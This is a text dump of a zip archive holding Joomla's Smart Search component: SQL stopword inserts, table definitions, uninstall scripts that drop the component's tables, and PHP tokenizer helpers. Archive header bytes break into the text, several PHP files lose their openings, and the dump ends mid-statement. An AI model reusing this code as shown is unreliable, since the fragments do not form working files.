("term", "language") SELECT 'into', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='into'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('is', 'en') WHERE "term"='is'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'is', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='is'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('isn''t', 'en') WHERE "term"='isn''t'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'isn''t', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='isn''t'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('it', 'en') WHERE "term"='it'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'it', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='it'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('its', 'en') WHERE "term"='its'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'its', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='its'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('me', 'en') WHERE "term"='me'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'me', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='me'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('more', 'en') WHERE "term"='more'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'more', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='more'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('most', 'en') WHERE "term"='most'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'most', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='most'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('must', 'en') WHERE "term"='must'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'must', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='must'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('my', 'en') WHERE "term"='my'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'my', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='my'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('new', 'en') WHERE "term"='new'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'new', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='new'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('no', 'en') WHERE "term"='no'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'no', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='no'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('none', 'en') WHERE "term"='none'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'none', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='none'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('not', 'en') WHERE "term"='not'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'not', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='not'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('noth', 'en') WHERE "term"='noth'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'noth', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='noth'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('nothing', 'en') WHERE "term"='nothing'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'nothing', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='nothing'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('of', 'en') WHERE "term"='of'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'of', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='of'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('off', 'en') WHERE "term"='off'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'off', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='off'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('often', 'en') WHERE "term"='often'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'often', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='often'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('old', 'en') WHERE "term"='old'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'old', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='old'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('on', 'en') WHERE "term"='on'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'on', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='on'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('onc', 'en') WHERE "term"='onc'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'onc', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='onc'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('once', 'en') WHERE "term"='once'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'once', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='once'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('onli', 'en') WHERE "term"='onli'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'onli', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='onli'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('only', 'en') WHERE "term"='only'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'only', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='only'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('or', 'en') WHERE "term"='or'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'or', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='or'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('other', 'en') WHERE "term"='other'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'other', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='other'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('our', 'en') WHERE "term"='our'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'our', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='our'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('ours', 'en') WHERE "term"='ours'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'ours', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ours'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('out', 'en') WHERE "term"='out'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'out', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='out'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('over', 'en') WHERE "term"='over'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'over', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='over'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('page', 'en') WHERE "term"='page'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'page', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='page'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('she', 'en') WHERE "term"='she'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'she', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='she'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('should', 'en') WHERE "term"='should'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'should', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='should'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('small', 'en') WHERE "term"='small'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'small', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='small'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('so', 'en') WHERE "term"='so'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'so', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='so'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('some', 'en') WHERE "term"='some'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'some', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='some'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('than', 'en') WHERE "term"='than'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'than', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='than'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('thank', 'en') WHERE "term"='thank'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'thank', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='thank'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('that', 'en') WHERE "term"='that'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'that', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='that'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('the', 'en') WHERE "term"='the'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'the', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='the'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('their', 'en') WHERE "term"='their'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'their', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='their'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('theirs', 'en') WHERE "term"='theirs'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'theirs', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='theirs'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('them', 'en') WHERE "term"='them'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'them', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='them'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('then', 'en') WHERE "term"='then'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'then', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='then'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('there', 'en') WHERE "term"='there'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'there', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='there'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('these', 'en') WHERE "term"='these'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'these', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='these'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('they', 'en') WHERE "term"='they'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'they', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='they'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('this', 'en') WHERE "term"='this'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'this', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='this'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('those', 'en') WHERE "term"='those'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'those', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='those'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('thus', 'en') WHERE "term"='thus'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'thus', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='thus'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('time', 'en') WHERE "term"='time'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'time', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='time'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('times', 'en') WHERE "term"='times'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'times', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='times'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('to', 'en') WHERE "term"='to'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'to', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='to'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('too', 'en') WHERE "term"='too'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'too', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='too'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('true', 'en') WHERE "term"='true'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'true', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='true'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('under', 'en')WHERE "term"='under'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'under', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='under'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('until', 'en') WHERE "term"='until'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'until', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='until'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('up', 'en') WHERE "term"='up'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'up', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='up'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('upon', 'en') WHERE "term"='upon'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'upon', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='upon'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('use', 'en') WHERE "term"='use'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'use', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='use'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('user', 'en') WHERE "term"='user'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'user', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='user'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('users', 'en') WHERE "term"='users'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'users', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='users'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('veri', 'en') WHERE "term"='veri'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'veri', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='veri'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('version', 'en') WHERE "term"='version'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'version', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='version'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('very', 'en') WHERE "term"='very'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'very', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='very'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('via', 'en') WHERE "term"='via'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'via', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='via'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('want', 'en') WHERE "term"='want'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'want', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='want'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('was', 'en') WHERE "term"='was'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'was', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='was'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('way', 'en') WHERE "term"='way'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'way', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='way'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('were', 'en') WHERE "term"='were'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'were', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='were'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('what', 'en') WHERE "term"='what'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'what', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='what'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('when', 'en') WHERE "term"='when'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'when', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='when'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('where', 'en') WHERE "term"='where'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'where', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='where'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('whi', 'en') WHERE "term"='whi'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'whi', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whi'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('which', 'en') WHERE "term"='which'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'which', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='which'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('who', 'en') WHERE "term"='who'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'who', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='who'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('whom', 'en') WHERE "term"='whom'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'whom', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whom'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('whose', 'en') WHERE "term"='whose'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'whose', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whose'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('why', 'en') WHERE "term"='why'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'why', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='why'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('wide', 'en') WHERE "term"='wide'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'wide', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='wide'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('will', 'en') WHERE "term"='will'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'will', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='will'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('with', 'en') WHERE "term"='with'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'with', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='with'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('within', 'en') WHERE "term"='within'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'within', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='within'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('without', 'en') WHERE "term"='without'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'without', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='without'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('would', 'en') WHERE "term"='would'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'would', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='would'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('yes', 'en') WHERE "term"='yes'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'yes', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yes'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('yet', 'en') WHERE "term"='yet'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'yet', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yet'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('you', 'en') WHERE "term"='you'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'you', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='you'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('your', 'en') WHERE "term"='your'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'your', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='your'); -- UPDATE "#__finder_terms_common" SET ("term", "language") = ('yours', 'en') WHERE "term"='yours'; INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'yours', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yours'); -- -- Table: #__finder_tokens -- CREATE TABLE "#__finder_tokens" ( "term" character varying(75) NOT NULL, "stem" character varying(75) NOT NULL, "common" smallint DEFAULT 0 NOT NULL, "phrase" smallint DEFAULT 0 NOT NULL, "weight" numeric(8,2) DEFAULT 1 NOT NULL, "context" smallint DEFAULT 2 NOT NULL ); CREATE INDEX "#__finder_tokens_idx_word" on "#__finder_tokens" ("term"); CREATE INDEX "#__finder_tokens_idx_context" on "#__finder_tokens" ("context"); -- -- Table: #__finder_tokens_aggregate -- CREATE TABLE "#__finder_tokens_aggregate" ( "term_id" integer NOT NULL, "map_suffix" character(1) NOT NULL, "term" character varying(75) NOT NULL, "stem" character varying(75) NOT NULL, "common" smallint DEFAULT 0 NOT NULL, "phrase" smallint DEFAULT 0 NOT NULL, "term_weight" numeric(8,2) NOT NULL, "context" smallint DEFAULT 2 NOT NULL, "context_weight" numeric(8,2) NOT NULL, "total_weight" numeric(8,2) NOT NULL ); CREATE INDEX "#__finder_tokens_aggregate_token" on "#__finder_tokens_aggregate" ("term"); CREATE INDEX "_#__finder_tokens_aggregate_keyword_id" on "#__finder_tokens_aggregate" ("term_id"); -- -- Table: #__finder_types -- CREATE TABLE "#__finder_types" ( "id" serial NOT NULL, "title" character varying(100) NOT NULL, "mime" character varying(100) NOT NULL, PRIMARY KEY ("id"), CONSTRAINT "#__finder_types_title" UNIQUE ("title") ); PKs>\1iww"com_finder/sql/uninstall.mysql.sqlnuW+ADROP TABLE IF EXISTS `#__finder_filters`; DROP TABLE IF EXISTS `#__finder_links`; DROP TABLE IF EXISTS `#__finder_links_terms0`; DROP TABLE IF EXISTS `#__finder_links_terms1`; DROP TABLE IF EXISTS `#__finder_links_terms2`; DROP TABLE IF EXISTS `#__finder_links_terms3`; DROP TABLE IF EXISTS `#__finder_links_terms4`; DROP TABLE IF EXISTS `#__finder_links_terms5`; DROP TABLE IF EXISTS `#__finder_links_terms6`; DROP TABLE IF EXISTS `#__finder_links_terms7`; DROP TABLE IF EXISTS `#__finder_links_terms8`; DROP TABLE IF EXISTS `#__finder_links_terms9`; DROP TABLE IF EXISTS `#__finder_links_termsa`; DROP TABLE IF EXISTS `#__finder_links_termsb`; DROP TABLE IF EXISTS `#__finder_links_termsc`; DROP TABLE IF EXISTS `#__finder_links_termsd`; DROP TABLE IF EXISTS `#__finder_links_termse`; DROP TABLE IF EXISTS `#__finder_links_termsf`; DROP TABLE IF EXISTS `#__finder_taxonomy`; DROP TABLE IF EXISTS `#__finder_taxonomy_map`; DROP TABLE IF EXISTS `#__finder_terms`; DROP TABLE IF EXISTS `#__finder_terms_common`; DROP TABLE IF EXISTS `#__finder_tokens`; DROP TABLE IF EXISTS `#__finder_tokens_aggregate`; DROP TABLE IF EXISTS `#__finder_types`; PKs>\|ww'com_finder/sql/uninstall.postgresql.sqlnuW+ADROP TABLE IF EXISTS "#__finder_filters"; DROP TABLE IF EXISTS "#__finder_links"; DROP TABLE IF EXISTS "#__finder_links_terms0"; DROP TABLE IF EXISTS "#__finder_links_terms1"; DROP TABLE IF EXISTS "#__finder_links_terms2"; DROP TABLE IF EXISTS "#__finder_links_terms3"; DROP TABLE IF EXISTS "#__finder_links_terms4"; DROP TABLE IF EXISTS "#__finder_links_terms5"; DROP TABLE IF EXISTS "#__finder_links_terms6"; DROP TABLE IF EXISTS "#__finder_links_terms7"; DROP TABLE IF EXISTS "#__finder_links_terms8"; DROP TABLE IF EXISTS "#__finder_links_terms9"; DROP TABLE IF EXISTS "#__finder_links_termsa"; DROP TABLE IF EXISTS "#__finder_links_termsb"; DROP TABLE IF EXISTS "#__finder_links_termsc"; DROP TABLE IF EXISTS "#__finder_links_termsd"; DROP TABLE IF EXISTS "#__finder_links_termse"; DROP TABLE IF EXISTS "#__finder_links_termsf"; DROP TABLE IF EXISTS "#__finder_taxonomy"; DROP TABLE IF EXISTS "#__finder_taxonomy_map"; DROP TABLE IF EXISTS "#__finder_terms"; DROP TABLE IF EXISTS "#__finder_terms_common"; DROP TABLE IF EXISTS "#__finder_tokens"; DROP TABLE IF EXISTS "#__finder_tokens_aggregate"; DROP TABLE IF EXISTS "#__finder_types"; PKs>\6com_finder/index.htmlnuW+APKs>\)com_finder/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_finder/helpers/index.htmlnuW+APKs>\/ com_finder/helpers/language.phpnuW+Aload('com_finder', JPATH_SITE); } /** * Method to load Smart Search plug-in language files. * * @return void * * @since 2.5 */ public static function loadPluginLanguage() { static $loaded = false; // If already loaded, don't load again. if ($loaded) { return; } $loaded = true; // Get array of all the enabled Smart Search plug-in names. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('name'); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('type') . ' = ' . $db->quote('plugin')); $query->where($db->quoteName('folder') . ' = ' . $db->quote('finder')); $query->where($db->quoteName('enabled') . ' = 1'); $db->setQuery($query); $plugins = $db->loadObjectList(); if (empty($plugins)) { return; } // Load generic language strings. $lang = JFactory::getLanguage(); $lang->load('plg_content_finder', JPATH_ADMINISTRATOR); // Load language file for each plug-in. foreach ($plugins as $plugin) { $lang->load($plugin->name, JPATH_ADMINISTRATOR); } } } PKs>\eâ77%com_finder/helpers/indexer/helper.phpnuW+Aparse($input); } /** * Method to tokenize a text string. * * @param string $input The input to tokenize. * @param string $lang The language of the input. * @param boolean $phrase Flag to indicate whether input could be a phrase. [optional] * * @return array An array of FinderIndexerToken objects. * * @since 2.5 */ public static function tokenize($input, $lang, $phrase = false) { static $cache; $store = JString::strlen($input) < 128 ? md5($input . '::' . $lang . '::' . $phrase) : null; // Check if the string has been tokenized already. if ($store && isset($cache[$store])) { return $cache[$store]; } $tokens = array(); $terms = array(); $quotes = html_entity_decode('‘’'', ENT_QUOTES, 'UTF-8'); // Get the simple language key. $lang = FinderIndexerHelper::getPrimaryLanguage($lang); /* * Parsing the string input into terms is a multi-step process. * * Regexes: * 1. Remove everything except letters, numbers, quotes, apostrophe, plus, dash, period, and comma. * 2. Remove plus, dash, period, and comma characters located before letter characters. * 3. Remove plus, dash, period, and comma characters located after other characters. * 4. Remove plus, period, and comma characters enclosed in alphabetical characters. Ungreedy. * 5. Remove orphaned apostrophe, plus, dash, period, and comma characters. * 6. Remove orphaned quote characters. * 7. Replace the assorted single quotation marks with the ASCII standard single quotation. * 8. Remove multiple space characters and replaces with a single space. */ $input = 